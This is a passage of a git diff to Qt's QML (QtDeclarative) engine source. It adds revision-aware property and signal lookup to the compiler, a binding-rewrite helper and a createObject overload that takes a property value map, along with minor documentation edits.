COMPILE_EXCEPTION(obj, tr("Component objects cannot declare new functions."));
- Object *root = 0;
+ QDeclarativeParser::Object *root = 0;
if (obj->defaultProperty && obj->defaultProperty->values.count())
root = obj->defaultProperty->values.first()->object;
@@ -1308,7 +1302,7 @@ bool QDeclarativeCompiler::buildComponentFromRoot(QDeclarativeParser::Object *ob
// Build a sub-object. A sub-object is one that was not created directly by
// QML - such as a grouped property object, or an attached object. Sub-object's
// can't have an id, involve a custom parser, have attached properties etc.
-bool QDeclarativeCompiler::buildSubObject(Object *obj, const BindingContext &ctxt)
+bool QDeclarativeCompiler::buildSubObject(QDeclarativeParser::Object *obj, const BindingContext &ctxt)
{
Q_ASSERT(obj->metatype);
Q_ASSERT(!obj->defaultProperty);
@@ -1351,10 +1345,22 @@ bool QDeclarativeCompiler::buildSignal(QDeclarativeParser::Property *prop, QDecl
if(name[0] >= 'A' && name[0] <= 'Z')
name[0] = name[0] - 'A' + 'a';
- int sigIdx = QDeclarativePropertyPrivate::findSignalByName(obj->metaObject(), name).methodIndex();
+ bool notInRevision = false;
+ int sigIdx = indexOfSignal(obj, name, &notInRevision);
if (sigIdx == -1) {
+ if (notInRevision && -1 == indexOfProperty(obj, prop->name, 0)) {
+ Q_ASSERT(obj->type != -1);
+ const QList<QDeclarativeTypeData::TypeReference> &resolvedTypes = unit->resolvedTypes();
+ const QDeclarativeTypeData::TypeReference &type = resolvedTypes.at(obj->type);
+ if (type.type) {
+ COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available in %3 %4.%5.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type.type->module())).arg(type.majorVersion).arg(type.minorVersion));
+ } else {
+ COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available due to component versioning.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)));
+ }
+ }
+
// If the "on<Signal>" name doesn't resolve into a signal, try it as a
// property.
COMPILE_CHECK(buildProperty(prop, obj, ctxt));
@@ -1403,7 +1409,7 @@ bool QDeclarativeCompiler::doesPropertyExist(QDeclarativeParser::Property *prop,
QMetaProperty p = QDeclarativeMetaType::defaultProperty(mo);
return p.name() != 0;
} else {
- int idx = mo->indexOfProperty(prop->name.constData());
+ int idx = indexOfProperty(obj, prop->name);
return idx != -1 && mo->property(idx).isScriptable();
}
}
@@ -1464,7 +1470,17 @@ bool QDeclarativeCompiler::buildProperty(QDeclarativeParser::Property *prop,
}
} else {
- prop->index = metaObject->indexOfProperty(prop->name.constData());
+ bool notInRevision = false;
+ prop->index = indexOfProperty(obj, prop->name, &notInRevision);
+ if (prop->index == -1 && notInRevision) {
+ const QList<QDeclarativeTypeData::TypeReference> &resolvedTypes = unit->resolvedTypes();
+ const QDeclarativeTypeData::TypeReference &type = resolvedTypes.at(obj->type);
+ if (type.type) {
+ COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available in %3 %4.%5.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type.type->module())).arg(type.majorVersion).arg(type.minorVersion));
+ } else {
+ COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available due to component versioning.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)));
+ }
+ }
if (prop->index != -1) {
p = metaObject->property(prop->index);
@@ -1479,9 +1495,8 @@ bool QDeclarativeCompiler::buildProperty(QDeclarativeParser::Property *prop,
// We can't error here as the "id" property does not require a
// successful index resolution
- if (p.name()) {
+ if (p.name())
prop->type = p.userType();
- }
// Check if this is an alias
if (prop->index != -1 &&
@@ -1600,7 +1615,7 @@ void QDeclarativeCompiler::genListProperty(QDeclarativeParser::Property *prop,
output->bytecode << fetch;
for (int ii = 0; ii < prop->values.count(); ++ii) {
- Value *v = prop->values.at(ii);
+ QDeclarativeParser::Value *v = prop->values.at(ii);
if (v->type == Value::CreatedObject) {
@@ -1888,20 +1903,28 @@ bool QDeclarativeCompiler::buildValueTypeProperty(QObject *type,
if (prop->values.count() > 1) {
COMPILE_EXCEPTION(prop, tr("Single property assignment expected"));
} else if (prop->values.count()) {
- Value *value = prop->values.at(0);
+ QDeclarativeParser::Value *value = prop->values.at(0);
if (value->object) {
COMPILE_EXCEPTION(prop, tr("Unexpected object assignment"));
} else if (value->value.isScript()) {
// ### Check for writability
- BindingReference reference;
- reference.expression = value->value;
- reference.property = prop;
- reference.value = value;
- reference.bindingContext = ctxt;
- reference.bindingContext.owner++;
- addBindingReference(reference);
- value->type = Value::PropertyBinding;
+
+ //optimization for <Type>.<EnumValue> enum assignments
+ bool isEnumAssignment = false;
+ COMPILE_CHECK(testQualifiedEnumAssignment(p, obj, value, &isEnumAssignment));
+ if (isEnumAssignment) {
+ value->type = Value::Literal;
+ } else {
+ BindingReference reference;
+ reference.expression = value->value;
+ reference.property = prop;
+ reference.value = value;
+ reference.bindingContext = ctxt;
+ reference.bindingContext.owner++;
+ addBindingReference(reference);
+ value->type = Value::PropertyBinding;
+ }
} else {
COMPILE_CHECK(testLiteralAssignment(p, value));
value->type = Value::Literal;
@@ -1909,7 +1932,7 @@ bool QDeclarativeCompiler::buildValueTypeProperty(QObject *type,
}
for (int ii = 0; ii < prop->onValues.count(); ++ii) {
- Value *v = prop->onValues.at(ii);
+ QDeclarativeParser::Value *v = prop->onValues.at(ii);
Q_ASSERT(v->object);
COMPILE_CHECK(buildPropertyOnAssignment(prop, obj, baseObj, v, ctxt));
@@ -1939,7 +1962,7 @@ bool QDeclarativeCompiler::buildListProperty(QDeclarativeParser::Property *prop,
bool assignedBinding = false;
for (int ii = 0; ii < prop->values.count(); ++ii) {
- Value *v = prop->values.at(ii);
+ QDeclarativeParser::Value *v = prop->values.at(ii);
if (v->object) {
v->type = Value::CreatedObject;
COMPILE_CHECK(buildObject(v->object, ctxt));
@@ -1994,7 +2017,7 @@ bool QDeclarativeCompiler::buildPropertyAssignment(QDeclarativeParser::Property
COMPILE_EXCEPTION(prop->values.at(0), tr( "Cannot assign multiple values to a singular property") );
for (int ii = 0; ii < prop->values.count(); ++ii) {
- Value *v = prop->values.at(ii);
+ QDeclarativeParser::Value *v = prop->values.at(ii);
if (v->object) {
COMPILE_CHECK(buildPropertyObjectAssignment(prop, obj, v, ctxt));
@@ -2007,7 +2030,7 @@ bool QDeclarativeCompiler::buildPropertyAssignment(QDeclarativeParser::Property
}
for (int ii = 0; ii < prop->onValues.count(); ++ii) {
- Value *v = prop->onValues.at(ii);
+ QDeclarativeParser::Value *v = prop->onValues.at(ii);
Q_ASSERT(v->object);
COMPILE_CHECK(buildPropertyOnAssignment(prop, obj, obj, v, ctxt));
@@ -2196,7 +2219,15 @@ bool QDeclarativeCompiler::testQualifiedEnumAssignment(const QMetaProperty &prop
QDeclarativeType *type = 0;
unit->imports().resolveType(typeName.toUtf8(), &type, 0, 0, 0, 0);
- if (!type || obj->typeName != type->qmlTypeName())
+ //handle enums on value types (where obj->typeName is empty)
+ QByteArray objTypeName = obj->typeName;
+ if (objTypeName.isEmpty()) {
+ QDeclarativeType *objType = toQmlType(obj);
+ if (objType)
+ objTypeName = objType->qmlTypeName();
+ }
+
+ if (!type || objTypeName != type->qmlTypeName())
return true;
QString enumValue = parts.at(1);
@@ -2246,6 +2277,35 @@ const QMetaObject *QDeclarativeCompiler::resolveType(const QByteArray& name) con
return qmltype->metaObject();
}
+// similar to logic of completeComponentBuild, but also sticks data
+// into datas at the end
+int QDeclarativeCompiler::rewriteBinding(const QString& expression, const QByteArray& name)
+{
+ QDeclarativeRewrite::RewriteBinding rewriteBinding;
+ rewriteBinding.setName('$' + name.mid(name.lastIndexOf('.') + 1));
+ bool isSharable = false;
+ QString rewrite = rewriteBinding(expression, 0, &isSharable);
+
+ quint32 length = rewrite.length();
+ quint32 pc;
+
+ if (isSharable) {
+ pc = output->cachedClosures.count();
+ pc |= 0x80000000;
+ output->cachedClosures.append(0);
+ } else {
+ pc = output->cachedPrograms.length();
+ output->cachedPrograms.append(0);
+ }
+
+ QByteArray compiledData =
+ QByteArray((const char *)&pc, sizeof(quint32)) +
+ QByteArray((const char *)&length, sizeof(quint32)) +
+ QByteArray((const char *)rewrite.constData(),
+ rewrite.length() * sizeof(QChar));
+
+ return output->indexForByteArray(compiledData);
+}
// Ensures that the dynamic meta specification on obj is valid
bool QDeclarativeCompiler::checkDynamicMeta(QDeclarativeParser::Object *obj)
@@ -2325,7 +2385,7 @@ bool QDeclarativeCompiler::mergeDynamicMetaProperties(QDeclarativeParser::Object
COMPILE_EXCEPTION(property, tr("Invalid property nesting"));
for (int ii = 0; ii < p.defaultValue->values.count(); ++ii) {
- Value *v = p.defaultValue->values.at(ii);
+ QDeclarativeParser::Value *v = p.defaultValue->values.at(ii);
v->addref();
property->values.append(v);
}
@@ -2370,8 +2430,7 @@ bool QDeclarativeCompiler::buildDynamicMeta(QDeclarativeParser::Object *obj, Dyn
for (int ii = 0; ii < obj->dynamicProperties.count(); ++ii) {
const Object::DynamicProperty &p = obj->dynamicProperties.at(ii);
- int propIdx =
- obj->metaObject()->indexOfProperty(p.name.constData());
+ int propIdx = obj->metaObject()->indexOfProperty(p.name.constData());
if (-1 != propIdx) {
QMetaProperty prop = obj->metaObject()->property(propIdx);
if (prop.isFinal())
@@ -2556,6 +2615,19 @@ bool QDeclarativeCompiler::buildDynamicMeta(QDeclarativeParser::Object *obj, Dyn
obj->synthdata = dynamicData;
+ if (obj->synthCache) {
+ obj->synthCache->release();
+ obj->synthCache = 0;
+ }
+
+ if (obj->type != -1) {
+ QDeclarativePropertyCache *cache = output->types[obj->type].createPropertyCache(engine)->copy();
+ cache->append(engine, &obj->extObject, QDeclarativePropertyCache::Data::NoFlags,
+ QDeclarativePropertyCache::Data::IsVMEFunction,
+ QDeclarativePropertyCache::Data::IsVMESignal);
+ obj->synthCache = cache;
+ }
+
return true;
}
@@ -2605,9 +2677,9 @@ static QStringList astNodeToStringList(QDeclarativeJS::AST::Node *node)
}
bool QDeclarativeCompiler::compileAlias(QMetaObjectBuilder &builder,
- QByteArray &data,
- Object *obj,
- const Object::DynamicProperty &prop)
+ QByteArray &data,
+ QDeclarativeParser::Object *obj,
+ const Object::DynamicProperty &prop)
{
if (!prop.defaultValue)
COMPILE_EXCEPTION(obj, tr("No property alias location"));
@@ -2629,7 +2701,7 @@ bool QDeclarativeCompiler::compileAlias(QMetaObjectBuilder &builder,
if (!compileState.ids.contains(alias.at(0)))
COMPILE_EXCEPTION(prop.defaultValue, tr("Invalid alias reference. Unable to find id \"%1\"").arg(alias.at(0)));
- Object *idObject = compileState.ids[alias.at(0)];
+ QDeclarativeParser::Object *idObject = compileState.ids[alias.at(0)];
QByteArray typeName;
@@ -2637,7 +2709,7 @@ bool QDeclarativeCompiler::compileAlias(QMetaObjectBuilder &builder,
int flags = 0;
bool writable = false;
if (alias.count() == 2 || alias.count() == 3) {
- propIdx = idObject->metaObject()->indexOfProperty(alias.at(1).toUtf8().constData());
+ propIdx = indexOfProperty(idObject, alias.at(1).toUtf8());
if (-1 == propIdx) {
COMPILE_EXCEPTION(prop.defaultValue, tr("Invalid alias location"));
@@ -2812,7 +2884,7 @@ bool QDeclarativeCompiler::completeComponentBuild()
componentStat.ids = compileState.ids.count();
for (int ii = 0; ii < compileState.aliasingObjects.count(); ++ii) {
- Object *aliasObject = compileState.aliasingObjects.at(ii);
+ QDeclarativeParser::Object *aliasObject = compileState.aliasingObjects.at(ii);
COMPILE_CHECK(buildDynamicMeta(aliasObject, ResolveAliases));
}
@@ -2849,13 +2921,10 @@ bool QDeclarativeCompiler::completeComponentBuild()
// Pre-rewrite the expression
QString expression = binding.expression.asScript();
- // ### Optimize
- QDeclarativeRewrite::SharedBindingTester sharableTest;
- bool isSharable = sharableTest.isSharable(expression);
-
QDeclarativeRewrite::RewriteBinding rewriteBinding;
rewriteBinding.setName('$'+binding.property->name);
- expression = rewriteBinding(expression);
+ bool isSharable = false;
+ expression = rewriteBinding(binding.expression.asAST(), expression, &isSharable);
quint32 length = expression.length();
quint32 pc;
@@ -2981,4 +3050,74 @@ QStringList QDeclarativeCompiler::deferredProperties(QDeclarativeParser::Object
return rv;
}
+// This code must match the semantics of QDeclarativePropertyPrivate::findSignalByName
+int QDeclarativeCompiler::indexOfSignal(QDeclarativeParser::Object *object, const QByteArray &name,
+ bool *notInRevision)
+{
+ if (notInRevision) *notInRevision = false;
+
+ if (object->synthCache || (object->type != -1 && output->types.at(object->type).propertyCache())) {
+ // XXX fromUtf8
+ QString strName(QString::fromUtf8(name));
+ QDeclarativePropertyCache *cache =
+ object->synthCache?object->synthCache:output->types.at(object->type).propertyCache();
+
+ QDeclarativePropertyCache::Data *d = cache->property(strName);
+ if (notInRevision) *notInRevision = false;
+
+ while (d && !(d->flags & QDeclarativePropertyCache::Data::IsFunction))
+ d = cache->overrideData(d);
+
+ if (d && !cache->isAllowedInRevision(d)) {
+ if (notInRevision) *notInRevision = true;
+ return -1;
+ } else if (d) {
+ return d->coreIndex;
+ }
+
+ if (name.endsWith("Changed")) {
+ QByteArray propName = name.mid(0, name.length() - 7);
+
+ int propIndex = indexOfProperty(object, propName, notInRevision);
+ if (propIndex != -1) {
+ d = cache->property(propIndex);
+ return d->notifyIndex;
+ }
+ }
+
+ return -1;
+ } else {
+ return QDeclarativePropertyPrivate::findSignalByName(object->metaObject(), name).methodIndex();
+ }
+
+}
+
+int QDeclarativeCompiler::indexOfProperty(QDeclarativeParser::Object *object, const QByteArray &name,
+ bool *notInRevision)
+{
+ if (notInRevision) *notInRevision = false;
+
+ if (object->synthCache || (object->type != -1 && output->types.at(object->type).propertyCache())) {
+ // XXX fromUtf8
+ QString strName(QString::fromUtf8(name));
+ QDeclarativePropertyCache *cache =
+ object->synthCache?object->synthCache:output->types.at(object->type).propertyCache();
+
+ QDeclarativePropertyCache::Data *d = cache->property(strName);
+ // Find the first property
+ while (d && d->flags & QDeclarativePropertyCache::Data::IsFunction)
+ d = cache->overrideData(d);
+
+ if (d && !cache->isAllowedInRevision(d)) {
+ if (notInRevision) *notInRevision = true;
+ return -1;
+ } else {
+ return d?d->coreIndex:-1;
+ }
+ } else {
+ const QMetaObject *mo = object->metaObject();
+ return mo->indexOfProperty(name.constData());
+ }
+}
+
QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativecompiler_p.h b/src/declarative/qml/qdeclarativecompiler_p.h
index 984db81..93b6a09 100644
--- a/src/declarative/qml/qdeclarativecompiler_p.h
+++ b/src/declarative/qml/qdeclarativecompiler_p.h
@@ -89,14 +89,17 @@ public:
struct TypeReference
{
TypeReference()
- : type(0), component(0) {}
+ : type(0), typePropertyCache(0), component(0) {}
QByteArray className;
QDeclarativeType *type;
+ QDeclarativePropertyCache *typePropertyCache;
QDeclarativeCompiledData *component;
QObject *createInstance(QDeclarativeContextData *, const QBitField &, QList<QDeclarativeError> *) const;
const QMetaObject *metaObject() const;
+ QDeclarativePropertyCache *propertyCache() const;
+ QDeclarativePropertyCache *createPropertyCache(QDeclarativeEngine *);
};
QList<TypeReference> types;
struct CustomTypeData
@@ -161,6 +164,7 @@ public:
int evaluateEnum(const QByteArray& script) const; // for QDeclarativeCustomParser::evaluateEnum
const QMetaObject *resolveType(const QByteArray& name) const; // for QDeclarativeCustomParser::resolveType
+ int rewriteBinding(const QString& expression, const QByteArray& name); // for QDeclarativeCustomParser::rewriteBinding
private:
static void reset(QDeclarativeCompiledData *);
@@ -276,6 +280,8 @@ private:
bool canCoerce(int to, QDeclarativeParser::Object *from);
QStringList deferredProperties(QDeclarativeParser::Object *);
+ int indexOfProperty(QDeclarativeParser::Object *, const QByteArray &, bool *notInRevision = 0);
+ int indexOfSignal(QDeclarativeParser::Object *, const QByteArray &, bool *notInRevision = 0);
void addId(const QString &, QDeclarativeParser::Object *);
diff --git a/src/declarative/qml/qdeclarativecomponent.cpp b/src/declarative/qml/qdeclarativecomponent.cpp
index f716f85..cf40182 100644
--- a/src/declarative/qml/qdeclarativecomponent.cpp
+++ b/src/declarative/qml/qdeclarativecomponent.cpp
@@ -54,11 +54,13 @@
#include "private/qdeclarativescriptparser_p.h"
#include "private/qdeclarativedebugtrace_p.h"
#include "private/qdeclarativeenginedebug_p.h"
+#include <QtScript/qscriptvalueiterator.h>
#include <QStack>
#include <QStringList>
#include <QtCore/qdebug.h>
#include <QApplication>
+#include <qdeclarativeinfo.h>
QT_BEGIN_NAMESPACE
@@ -613,7 +615,7 @@ QDeclarativeComponent::QDeclarativeComponent(QDeclarativeComponentPrivate &dd, Q
}
/*!
- \qmlmethod object Component::createObject(Item parent)
+ \qmlmethod object Component::createObject(Item parent, Script valuemap = null)
Creates and returns an object instance of this component that will have the given
\a parent. Returns null if object creation fails.
@@ -631,6 +633,12 @@ QDeclarativeComponent::QDeclarativeComponent(QDeclarativeComponentPrivate &dd, Q
it is not destroyed by the garbage collector. This is regardless of Item.parent being set afterwards,
since setting the Item parent does not change object ownership; only the graphical parent is changed.
+ Since QtQuick 1.1, a map of property values can be optionally passed to the method that applies values to the object's properties
+ before its creation is finalised. This will avoid binding issues that can occur when the object is
+ instantiated before property bindings have been set. For example:
+
+ \code component.createObject(parent, {"x": 100, "y": 100, "specialProperty": someObject}); \endcode
+
Dynamically created instances can be deleted with the \c destroy() method.
See \l {Dynamic Object Management in QML} for more information.
*/
@@ -646,25 +654,46 @@ QDeclarativeComponent::QDeclarativeComponent(QDeclarativeComponentPrivate &dd, Q
QScriptValue QDeclarativeComponent::createObject(QObject* parent)
{
Q_D(QDeclarativeComponent);
- QDeclarativeContext* ctxt = creationContext();
- if(!ctxt && d->engine)
- ctxt = d->engine->rootContext();
+ return d->createObject(parent, QScriptValue(QScriptValue::NullValue));
+}
+
+/*!
+ \internal
+ Overloadable method allows properties to be set during creation
+*/
+QScriptValue QDeclarativeComponent::createObject(QObject* parent, const QScriptValue& valuemap)
+{
+ Q_D(QDeclarativeComponent);
+
+ if (!valuemap.isObject() || valuemap.isArray()) {
+ qmlInfo(this) << tr("createObject: value is not an object");
+ return QScriptValue(QScriptValue::NullValue);
+ }
+ return d->createObject(parent, valuemap);
+}
+
+QScriptValue QDeclarativeComponentPrivate::createObject(QObject *publicParent, const QScriptValue valuemap)
+{
+ Q_Q(QDeclarativeComponent);
+ QDeclarativeContext* ctxt = q->creationContext();
+ if(!ctxt && engine)
+ ctxt = engine->rootContext();
if (!ctxt)
return QScriptValue(QScriptValue::NullValue);
- QObject* ret = beginCreate(ctxt);
+ QObject* ret = q->beginCreate(ctxt);
if (!ret) {
- completeCreate();
+ q->completeCreate();
return QScriptValue(QScriptValue::NullValue);
}
- if (parent) {
- ret->setParent(parent);
+ if (publicParent) {
+ ret->setParent(publicParent);
QList<QDeclarativePrivate::AutoParentFunction> functions = QDeclarativeMetaType::parentFunctions();
bool needParent = false;
for (int ii = 0; ii < functions.count(); ++ii) {
- QDeclarativePrivate::AutoParentResult res = functions.at(ii)(ret, parent);
+ QDeclarativePrivate::AutoParentResult res = functions.at(ii)(ret, publicParent);
if (res == QDeclarativePrivate::Parented) {
needParent = false;
break;
@@ -673,14 +702,41 @@ QScriptValue QDeclarativeComponent::createObject(QObject* parent)
}
}
- if (needParent)
+ if (needParent)
qWarning("QDeclarativeComponent: Created graphical object was not placed in the graphics scene.");
}
- completeCreate();
- QDeclarativeEnginePrivate *priv = QDeclarativeEnginePrivate::get(d->engine);
+ QDeclarativeEnginePrivate *priv = QDeclarativeEnginePrivate::get(engine);
QDeclarativeData::get(ret, true)->setImplicitDestructible();
- return priv->objectClass->newQObject(ret, QMetaType::QObjectStar);
+ QScriptValue newObject = priv->objectClass->newQObject(ret, QMetaType::QObjectStar);
+
+ if (valuemap.isObject() && !valuemap.isArray()) {
+ //Iterate through and assign properties
+ QScriptValueIterator it(valuemap);
+ while (it.hasNext()) {
+ it.next();
+ QScriptValue prop = newObject;
+ QString propName = it.name();
+ int index = propName.indexOf(QLatin1Char('.'));
+ if (index > 0) {
+ QString subProp = propName;
+ int lastIndex = 0;
+ while (index > 0) {
+ subProp = propName.mid(lastIndex, index - lastIndex);
+ prop = prop.property(subProp);
+ lastIndex = index + 1;
+ index = propName.indexOf(QLatin1Char('.'), index + 1);
+ }
+ prop.setProperty(propName.mid(propName.lastIndexOf(QLatin1Char('.')) + 1), it.value());
+ } else {
+ newObject.setProperty(propName, it.value());
+ }
+ }
+ }
+
+ q->completeCreate();
+
+ return newObject;
}
/*!
@@ -782,8 +838,10 @@ QObject * QDeclarativeComponentPrivate::begin(QDeclarativeContextData *parentCon
Q_ASSERT(!isRoot || state); // Either this isn't a root component, or a state data must be provided
Q_ASSERT((state != 0) ^ (errors != 0)); // One of state or errors (but not both) must be provided
- if (isRoot)
+ if (isRoot) {
QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Creating);
+ QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Creating, component->url);
+ }
QDeclarativeContextData *ctxt = new QDeclarativeContextData;
ctxt->isInternal = true;
@@ -812,7 +870,6 @@ QObject * QDeclarativeComponentPrivate::begin(QDeclarativeContextData *parentCon
state->bindValues = enginePriv->bindValues;
state->parserStatus = enginePriv->parserStatus;
- state->finalizedParserStatus = enginePriv->finalizedParserStatus;
state->componentAttached = enginePriv->componentAttached;
if (state->componentAttached)
state->componentAttached->prev = &state->componentAttached;
@@ -820,7 +877,6 @@ QObject * QDeclarativeComponentPrivate::begin(QDeclarativeContextData *parentCon
enginePriv->componentAttached = 0;
enginePriv->bindValues.clear();
enginePriv->parserStatus.clear();
- enginePriv->finalizedParserStatus.clear();
state->completePending = true;
enginePriv->inProgressCreations++;
}
@@ -851,7 +907,6 @@ void QDeclarativeComponentPrivate::beginDeferred(QDeclarativeEnginePrivate *engi
state->bindValues = enginePriv->bindValues;
state->parserStatus = enginePriv->parserStatus;
- state->finalizedParserStatus = enginePriv->finalizedParserStatus;
state->componentAttached = enginePriv->componentAttached;
if (state->componentAttached)
state->componentAttached->prev = &state->componentAttached;
@@ -859,7 +914,6 @@ void QDeclarativeComponentPrivate::beginDeferred(QDeclarativeEnginePrivate *engi
enginePriv->componentAttached = 0;
enginePriv->bindValues.clear();
enginePriv->parserStatus.clear();
- enginePriv->finalizedParserStatus.clear();
state->completePending = true;
enginePriv->inProgressCreations++;
}
@@ -897,14 +951,17 @@ void QDeclarativeComponentPrivate::complete(QDeclarativeEnginePrivate *enginePri
QDeclarativeEnginePrivate::clear(ps);
}
- for (int ii = 0; ii < state->finalizedParserStatus.count(); ++ii) {
- QPair<QDeclarativeGuard<QObject>, int> status = state->finalizedParserStatus.at(ii);
- QObject *obj = status.first;
- if (obj) {
- void *args[] = { 0 };
- QMetaObject::metacall(obj, QMetaObject::InvokeMetaMethod,
- status.second, args);
+ if (1 == enginePriv->inProgressCreations) {
+ for (int ii = 0; ii < enginePriv->finalizedParserStatus.count(); ++ii) {
+ QPair<QDeclarativeGuard<QObject>, int> status = enginePriv->finalizedParserStatus.at(ii);
+ QObject *obj = status.first;
+ if (obj) {
+ void *args[] = { 0 };
+ QMetaObject::metacall(obj, QMetaObject::InvokeMetaMethod,
+ status.second, args);
+ }
}
+ enginePriv->finalizedParserStatus.clear();
}
while (state->componentAttached) {
@@ -919,7 +976,6 @@ void QDeclarativeComponentPrivate::complete(QDeclarativeEnginePrivate *enginePri
state->bindValues.clear();
state->parserStatus.clear();
- state->finalizedParserStatus.clear();
state->completePending = false;
enginePriv->inProgressCreations--;
@@ -929,7 +985,6 @@ void QDeclarativeComponentPrivate::complete(QDeclarativeEnginePrivate *enginePri
enginePriv->erroredBindings->removeError();
}
}
-
}
}
diff --git a/src/declarative/qml/qdeclarativecomponent.h b/src/declarative/qml/qdeclarativecomponent.h
index 6f28f2e..9a60a8b 100644
--- a/src/declarative/qml/qdeclarativecomponent.h
+++ b/src/declarative/qml/qdeclarativecomponent.h
@@ -110,6 +110,7 @@ Q_SIGNALS:
protected:
QDeclarativeComponent(QDeclarativeComponentPrivate &dd, QObject* parent);
Q_INVOKABLE QScriptValue createObject(QObject* parent);
+ Q_INVOKABLE Q_REVISION(1) QScriptValue createObject(QObject* parent, const QScriptValue& valuemap); //XXX Versioning
private:
QDeclarativeComponent(QDeclarativeEngine *, QDeclarativeCompiledData *, int, int, QObject *parent);
diff --git a/src/declarative/qml/qdeclarativecomponent_p.h b/src/declarative/qml/qdeclarativecomponent_p.h
index 02a6ce8..020c5e0 100644
--- a/src/declarative/qml/qdeclarativecomponent_p.h
+++ b/src/declarative/qml/qdeclarativecomponent_p.h
@@ -101,7 +101,6 @@ public:
ConstructionState() : componentAttached(0), completePending(false) {}
QList<QDeclarativeEnginePrivate::SimpleList<QDeclarativeAbstractBinding> > bindValues;
QList<QDeclarativeEnginePrivate::SimpleList<QDeclarativeParserStatus> > parserStatus;
- QList<QPair<QDeclarativeGuard<QObject>, int> > finalizedParserStatus;
QDeclarativeComponentAttached *componentAttached;
QList<QDeclarativeError> errors;
bool completePending;
@@ -116,6 +115,8 @@ public:
ConstructionState *state);
static void complete(QDeclarativeEnginePrivate *enginePriv, ConstructionState *state);
+ QScriptValue createObject(QObject *publicParent, const QScriptValue valuemap);
+
QDeclarativeEngine *engine;
QDeclarativeGuardedContextData creationContext;
diff --git a/src/declarative/qml/qdeclarativecontext_p.h b/src/declarative/qml/qdeclarativecontext_p.h
index f7d2c62..b7e4c6a 100644
--- a/src/declarative/qml/qdeclarativecontext_p.h
+++ b/src/declarative/qml/qdeclarativecontext_p.h
@@ -77,7 +77,6 @@ class QDeclarativeEngine;
class QDeclarativeExpression;
class QDeclarativeExpressionPrivate;
class QDeclarativeAbstractExpression;
-class QDeclarativeBinding_Id;
class QDeclarativeCompiledBindings;
class QDeclarativeContextData;
diff --git a/src/declarative/qml/qdeclarativecustomparser.cpp b/src/declarative/qml/qdeclarativecustomparser.cpp
index e8ffe3b..856108c 100644
--- a/src/declarative/qml/qdeclarativecustomparser.cpp
+++ b/src/declarative/qml/qdeclarativecustomparser.cpp
@@ -131,7 +131,7 @@ QDeclarativeCustomParserNodePrivate::fromProperty(QDeclarativeParser::Property *
prop.d->values << QVariant::fromValue(props.at(ii));
} else {
for(int ii = 0; ii < p->values.count(); ++ii) {
- Value *v = p->values.at(ii);
+ QDeclarativeParser::Value *v = p->values.at(ii);
v->type = QDeclarativeParser::Value::Literal;
if(v->object) {
@@ -304,5 +304,14 @@ const QMetaObject *QDeclarativeCustomParser::resolveType(const QByteArray& name)
return compiler->resolveType(name);
}
+/*!
+ Rewrites \a expression and returns an identifier that can be
+ used to construct the binding later. \a name
+ is used as the name of the rewritten function.
+*/
+QDeclarativeBinding::Identifier QDeclarativeCustomParser::rewriteBinding(const QString& expression, const QByteArray& name)
+{
+ return compiler->rewriteBinding(expression, name);
+}
QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativecustomparser_p.h b/src/declarative/qml/qdeclarativecustomparser_p.h
index 32d85ae..be9f514 100644
--- a/src/declarative/qml/qdeclarativecustomparser_p.h
+++ b/src/declarative/qml/qdeclarativecustomparser_p.h
@@ -56,6 +56,7 @@
#include "private/qdeclarativemetatype_p.h"
#include "qdeclarativeerror.h"
#include "private/qdeclarativeparser_p.h"
+#include "private/qdeclarativebinding_p.h"
#include <QtCore/qbytearray.h>
#include <QtCore/qxmlstream.h>
@@ -140,6 +141,8 @@ protected:
const QMetaObject *resolveType(const QByteArray&) const;
+ QDeclarativeBinding::Identifier rewriteBinding(const QString&, const QByteArray&);
+
private:
QList<QDeclarativeError> exceptions;
QDeclarativeCompiler *compiler;
diff --git a/src/declarative/qml/qdeclarativedom.cpp b/src/declarative/qml/qdeclarativedom.cpp
index 89aa79a..f1296aa 100644
--- a/src/declarative/qml/qdeclarativedom.cpp
+++ b/src/declarative/qml/qdeclarativedom.cpp
@@ -334,10 +334,10 @@ QList<QByteArray> QDeclarativeDomProperty::propertyNameParts() const
Return true if this property is used as a default property in the QML
document.
- \qml
+ \code
<Text text="hello"/>
<Text>hello</Text>
- \endqml
+ \endcode
The above two examples return the same DOM tree, except that the second has
the default property flag set on the text property. Observe that whether
@@ -509,10 +509,10 @@ QByteArray QDeclarativeDomDynamicProperty::propertyTypeName() const
Return true if this property is used as a default property in the QML
document.
- \qml
+ \code
<Text text="hello"/>
<Text>hello</Text>
- \endqml
+ \endcode
The above two examples return the same DOM tree, except that the second has
the default property flag set on the text property. Observe that whether
diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp
index 545037f..b7a02f1 100644
--- a/src/declarative/qml/qdeclarativeengine.cpp
+++ b/src/declarative/qml/qdeclarativeengine.cpp
@@ -69,6 +69,8 @@
#include "private/qdeclarativetypenamecache_p.h"
#include "private/qdeclarativeinclude_p.h"
#include "private/qdeclarativenotifier_p.h"
+#include "private/qdeclarativedebugtrace_p.h"
+#include "private/qdeclarativeapplication_p.h"
#include <QtCore/qmetaobject.h>
#include <QScriptClass>
@@ -202,8 +204,9 @@ void QDeclarativeEnginePrivate::defineModule()
\brief The \c Qt object provides useful enums and functions from Qt, for use in all QML files.
-The \c Qt object is not a QML element; it cannot be instantiated. It is a global object
-with enums and functions. To use it, call the members of the global \c Qt object directly.
+The \c Qt object is a global object with utility functions, properties and enums.
+
+It is not instantiable; to use it, call the members of the global \c Qt object directly.
For example:
\qml
@@ -218,8 +221,8 @@ Text {
\section1 Enums
-The Qt object contains enums that declared into Qt's Meta-Object System. For example, you can access
-the \c Leftbutton member of the \c Qt::MouseButton enum with \c Qt.LeftButton.
+The Qt object contains the enums available in the \l {Qt Namespace}. For example, you can access
